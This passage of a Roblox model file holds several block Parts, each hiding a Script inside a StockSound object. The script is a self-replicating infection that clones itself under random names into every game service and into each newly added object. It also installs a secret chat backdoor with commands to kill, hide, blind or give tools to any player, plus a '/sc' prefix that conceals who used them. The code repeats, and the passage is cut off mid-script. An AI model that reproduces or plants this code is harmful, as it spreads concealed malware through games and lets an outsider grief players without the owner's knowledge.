local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX782">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-173</X>
					<Y>15.1999989</Y>
					<Z>-11.5</Z>
					<R00>4.21839993e-012</R00>
					<R01>1.28377829e-011</R01>
					<R02>-1</R02>
					<R10>-4.52346358e-013</R10>
					<R11>1</R11>
					<R12>-1.28377829e-011</R12>
					<R20>1</R20>
					<R21>-4.52346358e-013</R21>
					<R22>-4.21839993e-012</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX783">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX784">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX785">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-156</X>
					<Y>14.1999989</Y>
					<Z>-11.5</Z>
					<R00>8.66348344e-008</R00>
					<R01>2.69911116e-008</R01>
					<R02>-1</R02>
					<R10>8.41360703e-010</R10>
					<R11>1</R11>
					<R12>-2.69911116e-008</R12>
					<R20>1</R20>
					<R21>8.41360703e-010</R21>
					<R22>-8.66348344e-008</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX786">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX787">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
